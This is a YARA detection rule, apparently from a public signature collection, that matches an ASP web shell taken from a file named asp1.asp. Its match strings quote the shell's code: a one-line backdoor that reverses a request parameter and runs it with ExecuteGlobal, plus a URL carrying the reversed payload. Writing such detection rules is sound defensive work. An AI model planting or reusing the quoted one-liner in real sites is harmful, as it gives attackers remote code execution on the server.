rule webshell_webshells_new_asp1 {
meta:
description = "Web shells - generated from file asp1.asp"
license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
author = "Florian Roth (Nextron Systems)"
date = "2014/03/28"
score = 70
hash = "b63e708cd58ae1ec85cf784060b69cad"
id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
strings:
$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
condition:
1 of them
}